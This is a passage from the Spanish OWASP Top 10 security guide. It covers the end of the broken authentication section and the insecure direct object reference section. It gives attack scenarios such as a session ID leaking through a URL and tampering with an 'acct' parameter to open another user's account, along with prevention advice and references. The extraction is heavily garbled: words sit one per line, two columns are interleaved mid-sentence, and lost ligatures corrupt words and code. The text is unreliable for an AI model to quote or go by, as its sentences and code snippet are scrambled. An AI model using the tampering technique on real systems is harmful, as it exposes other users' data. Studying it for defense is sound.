ASVS
V2
y
V3
para
más
detalles.
Referencias
Ejemplos
de
escenarios
de
ataque
Escenario
#1:
Aplicación
de
reserva
de
vuelos
que
soporta
re-‐escritura
de
OWASP
direcciones
URL
poniendo
los
idenDficadores
de
sesión
en
la
propia
dirección:
Para
un
mayor
conjunto
de
requisitos
y
problemas
que
evitar
en
esta
área,
hsp://example.com/sale/ consultar
las
saleitems;jsessionid=2P0OC2JDPXM0OQSNDLPSKHCJUN2JV?dest=Hawaii
secciones
de
requisitos
de
ASVS
para
AutenDcación
(V2)
y
GesDón
de
Un
usuario
autenDcado
en
el
siDo
quiere
mostrar
la
venta
a
sus
amigos.
Envía
por
correo
electrónico
el
enlace
anterior,
sin
ser
consciente
de
que
está
Sesiones
(V3).
proporcionando
su
idenDficador
de
sesión.
Cuando
sus
amigos
uDlicen
el
anterior
enlace
uDlizarán
su
sesión
y
su
tarjeta
de
crédito.
•
OWASP
AuthenDcaDon
Cheat
Sheet
Escenario
#2:
No
se
establecen
correctamente
los
Dempos
de
desconexión
en
•
ESAPI
AuthenDcator
API
la
aplicación.
Un
usuario
uDliza
un
ordenador
público
para
acceder
al
siDo.
En
•
ESAPI
User
API
lugar
de
uDlizar
la
función
de
“Cerrar
sesión”,
cierra
la
pestaña
del
navegador
y
se
marcha.
Un
atacante
uDliza
el
mismo
navegador
al
cabo
de
una
hora,
y
•
OWASP
Development
Guide:
Chapter
on
AuthenDcaDon
ese
navegador
todavía
se
encuentra
autenDcado.
•
OWASP
TesDng
Guide:
Chapter
on
AuthenDcaDon
Escenario
#3:
Un
atacante
de
dentro
de
la
organización,
o
externo,
consigue
Externas
acceder
a
la
base
de
datos
de
contraseñas
del
sistema.
Las
contraseñas
de
los
usuarios
no
se
encuentran
cifradas,
mostrando
todas
las
contraseñas
en
claro
•
CWE
Entry
287
on
Improper
AuthenDcaDon
al
atacante.
10. A4
Referencia
Directa
Insegura
a
Objetos
Vectores
Deficiencias
Impactos
Impactos
en
Agentes
de
Ataque
de
Seguridad
Técnicos
el
negocio
de
amenaza
Explotación
Prevalencia
Detección
Impacto
__________
__________
FACIL
COMUN
FACIL
MODERADO
Considerar
los
Dpos
de
Un
atacante,
como
Normalmente,
las
aplicaciones
uDlizan
el
nombre
o
Dichas
vulnerabilidades
Considerar
el
valor
de
usuarios
en
su
sistema.
usuario
autorizado
en
el
clave
actual
de
un
objeto
cuando
se
generan
las
pueden
comprometer
negocio
de
los
datos
¿Existen
usuarios
que
sistema,
simplemente
páginas
web.
Las
aplicaciones
no
siempre
verifican
toda
la
información
que
afectados.
tengan
únicamente
modifica
el
valor
de
un
que
el
usuario
Dene
autorización
sobre
el
objeDvo.
pueda
ser
referida
por
acceso
parcial
a
parámetro
que
se
refiere
Esto
resulta
en
una
vulnerabilidad
de
referencia
de
parámetros.
A
menos
También
considere
el
determinados
Dpos
de
directamente
a
un
objeto
objetos
directos
inseguros.
Los
auditores
pueden
que
el
espacio
de
impacto
en
el
negocio
la
exposición
pública
de
la
datos
del
sistema?
del
sistema
a
otro
objeto
manipular
fácilmente
los
valores
del
parámetro
para
nombres
resulte
escaso,
vulnerabilidad
para
el
que
el
usuario
no
detectar
estas
vulnerabilidades
y
un
análisis
de
para
un
atacante
resulta
se
encuentra
autorizado.
código
mostraría
rápidamente
si
la
autorización
se
sencillo
acceder
a
todos
¿Se
concede
el
acceso?
verifica
correctamente.
los
datos
disponibles
de
ese
Dpo.
¿Soy
vulnerable?
¿Como
puedo
evitar
esto?
La
mejor
manera
de
poder
comprobar
si
una
aplicación
es
vulnerable
a
Prevenir
referencias
inseguras
a
objetos
directos
requiere
seleccionar
una
referencias
inseguras
a
objetos
es
verificar
que
todas
las
referencias
a
objetos
manera
de
proteger
los
objetos
accesibles
por
cada
usuario
(por
ejemplo,
Denen
las
protecciones
apropiadas.
Para
conseguir
esto,
considerar:
idenDficadores
de
objeto,
nombres
de
fichero):
1. para
referencias
directas
a
recursos
restringidos,
la
aplicación
1. UBlizar
referencias
indirectas
por
usuario
o
sesión.
Esto
evitaría
que
necesitaría
verificar
si
el
usuario
está
autorizado
a
acceder
al
recurso
los
atacantes
accedieren
directamente
a
recursos
no
autorizados.
Por
en
concreto
que
solicita.
ejemplo,
en
vez
de
uDlizar
la
clave
del
recurso
de
base
de
datos,
se
podría
uDlizar
una
lista
de
6
recursos
que
uDlizase
los
números
del
1
2. si
la
referencia
es
una
referencia
indirecta,
la
correspondencia
con
la
al
6
para
indicar
cuál
es
el
valor
elegido
por
el
usuario.
La
aplicación
referencia
directa
debe
ser
limitada
a
valores
autorizados
para
el
tendría
que
realizar
la
correlación
entre
la
referencia
indirecta
con
la
usuario
en
concreto.
clave
de
la
base
de
datos
correspondiente
en
el
servidor.
ESAPI
de
OWASP
incluye
relaciones
tanto
secuenciales
como
aleatorias
de
Un
análisis
del
código
de
la
aplicación
serviría
para
verificar
rápidamente
si
referencias
de
acceso
que
los
desarrolladores
pueden
uDlizar
para
dichas
propuestas
se
implementan
con
seguridad.
También
es
efecDvo
eliminar
las
referencias
directas
a
objetos.
realizar
comprobaciones
para
idenDficar
referencias
a
objetos
directos
y
si
estos
son
seguros.
Normalmente
las
herramientas
automáDcas
no
detectan
este
Dpo
vulnerabilidades
porque
no
son
capaces
de
reconocer
cuales
2. Comprobar
el
acceso.
Cada
uso
de
una
referencia
directa
a
un
objeto
necesitan
protección
o
cuales
son
seguros
o
inseguros.
de
una
fuente
que
no
es
de
confianza
debe
incluir
una
comprobación
de
control
de
acceso
para
asegurar
que
el
usuario
está
autorizado
a
acceder
al
objeto
solicitado.
Ejemplos
de
escenarios
de
ataque
Referencias
La
aplicación
uDliza
datos
no
verificados
en
una
llamada
SQL
que
accede
a
OWASP
información
sobre
la
cuenta:
•
OWASP
Top
10-‐2007
on
Insecure
Dir
Object
References
String
query
=
"SELECT
*
FROM
accts
WHERE
account
=
?";
•
ESAPI
Access
Reference
Map
API
PreparedStatement
pstmt
=
connecBon.prepareStatement(query
,
…
);
•
ESAPI
Access
Control
API
(See
isAuthorizedForData(),
isAuthorizedForFile(),
isAuthorizedForFuncBon()
)
pstmt.setString(
1,
request.getparameter("acct"));
ResultSet
results
=
pstmt.executeQuery(
);
Para
requisitos
adiciones
en
controles
de
acceso,
consultar
la
sección
de
requisitos
sobre
Control
de
Acceso
de
ASVS
(V4).
El
atacante
simplemente
modificaría
el
parámetro
“acct”
en
su
navegador
para
enviar
cualquier
número
de
cuenta
que
quiera.
Si
esta
acción
no
se
verifica,
el
atacante
podría
acceder
a
cualquier
cuenta
de
usuario,
en
vez
de
a
Externas
su
cuenta
de
cliente
correspondiente.
•
CWE
Entry
639
on
Insecure
Direct
Object
References
hsp://example.com/app/accountInfo?acct=notmyacct
•
CWE
Entry
22
on
Path
Traversal
(que
es
un
ejemplo
de
ataque
de
referencia
a
un
objeto
directo)